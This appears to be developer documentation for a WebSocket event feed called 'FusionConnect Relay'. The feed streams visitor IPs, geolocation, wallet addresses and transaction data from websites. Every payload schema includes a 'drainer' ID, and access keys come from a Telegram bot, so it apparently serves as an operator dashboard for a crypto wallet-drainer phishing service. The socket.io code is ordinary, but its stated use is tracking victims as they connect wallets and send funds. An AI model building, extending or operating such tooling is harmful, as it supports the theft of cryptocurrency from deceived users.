Skip to content

WebSocket Integration

This documentation and API are intended for developers only. Using the server API requires deep technical knowledge.
If you lack experience in programming or server management, avoid using these tools. Improper use of the API can cause system failures, data leaks, or other serious issues. Always consult with a developer or specialist before making any changes.

FusionConnect Relay is a component designed to facilitate real-time communication between different systems and services via WebSocket. This gateway is used for sending and receiving real-time events, allowing immediate responses to user actions, such as visiting a site, connecting a wallet, or making a transaction.

1. Installing the Library

To connect to the WebSocket server from a JavaScript client, you’ll need the socket.io-client library. You can install it using npm or yarn.

Installing via npm:

bash
npm install socket.io-client

Installing via yarn:

bash
yarn add socket.io-client

2. Authorization

To access the FusionConnect Relay WebSocket server, an API key is required. You can find this key in the main menu of your Telegram bot. The key should be passed in the headers when establishing the WebSocket connection.

Example of connecting using the API key:

javascript
import { io } from 'socket.io-client';

// Connecting to the WebSocket server with the /relay namespace and API key
const socket = io('https://your-server-url/relay', {
  extraHeaders: {
    'x-api': 'YOUR_API_KEY'  // Replace 'YOUR_API_KEY' with your actual API key
  }
});

// Handle successful connection
socket.on('connect', () => {
  console.log('Successfully connected to FusionConnect Relay');
});

// Handle connection errors
socket.on('connect_error', (error) => {
  console.error('WebSocket connection error:', error.message);
});

3. Events

The FusionConnect Relay server supports several events that you can listen to after successfully connecting. These events are sent to clients to notify them of various actions.

Supported events:

  1. visit — Sent when a user visits the website.
  2. walletConnect — Sent when a user connects their wallet.
  3. transaction — Sent when a user performs a transaction.
  4. transaction_reject — Sent when a transaction is rejected.

Example of listening to events:

  1. Listening for the visit event:
javascript
socket.on('visit', (payload) => {
  console.log('Visit data:', payload);
});
  1. Listening for the walletConnect event:
javascript
socket.on('walletConnect', (payload) => {
  console.log('Wallet connection data:', payload);
});
  1. Listening for the transaction event:
javascript
socket.on('transaction', (payload) => {
  console.log('Transaction data:', payload);
});
  1. Listening for the transaction_reject event:
javascript
socket.on('transaction_reject', (payload) => {
  console.log('Transaction rejected:', payload);
});

4. Data Types

For each event, the FusionConnect Relay server sends data in JSON format. Below are the data structures for each event.

1. visit (Visit Event)

Example data for the visit event:

json
{
  "ip": "192.168.1.1",
  "browserInfo": {
    "name": "Chrome",
    "version": "91.0",
    "os": "Windows"
  },
  "geoLocation": {
    "country": "United States",
    "city": "Los Angeles",
    "flag": "🇺🇸"
  },
  "domain": "example.com",
  "drainer": "optional-drainer-id"
}

Field Descriptions:

  • ip (string) — The visitor’s IP address.
  • browserInfo (object) — Information about the visitor’s browser:
    • name — Browser name (e.g., "Chrome").
    • version — Browser version.
    • os — Visitor’s operating system.
  • geoLocation (object) — Visitor’s geolocation data:
    • country — Country (e.g., "United States").
    • city — City (e.g., "Los Angeles").
    • flag — Emoji flag representing the country (e.g., "🇺🇸").
  • domain (string) — The domain associated with the visit (e.g., "example.com").
  • drainer (string, optional) — Drainer ID if available.

2. walletConnect (Wallet Connection Event)

Example data for the wallet connection event:

json
{
  "ip": "192.168.1.1",
  "data": {
    "walletAddress": "0x123456789abcdef",
    "network": "Ethereum"
  },
  "domain": "example.com",
  "drainer": "optional-drainer-id"
}

Field Descriptions:

  • ip (string) — The IP address of the user connecting the wallet.
  • data (object) — Information about the wallet connection:
    • walletAddress — The wallet address.
    • network — The blockchain network (e.g., "Ethereum").
  • domain (string) — The domain associated with the wallet connection.
  • drainer (string, optional) — Drainer ID if available.

3. transaction and transaction_reject (Transaction Events)

Example data for transaction or rejection events:

json
{
  "ip": "192.168.1.1",
  "data": {
    "transactionId": "tx123456789abcdef",
    "amount": 100,
    "currency": "USD"
  },
  "domain": "example.com",
  "drainer": "optional-drainer-id"
}

Field Descriptions:

  • ip (string) — The IP address of the user performing the transaction.
  • data (object) — Transaction details:
    • transactionId — The unique identifier of the transaction.
    • amount — The amount of the transaction.
    • currency — The currency of the transaction (e.g., "USD").
  • domain (string) — The domain associated with the transaction.
  • drainer (string, optional) — Drainer ID if available.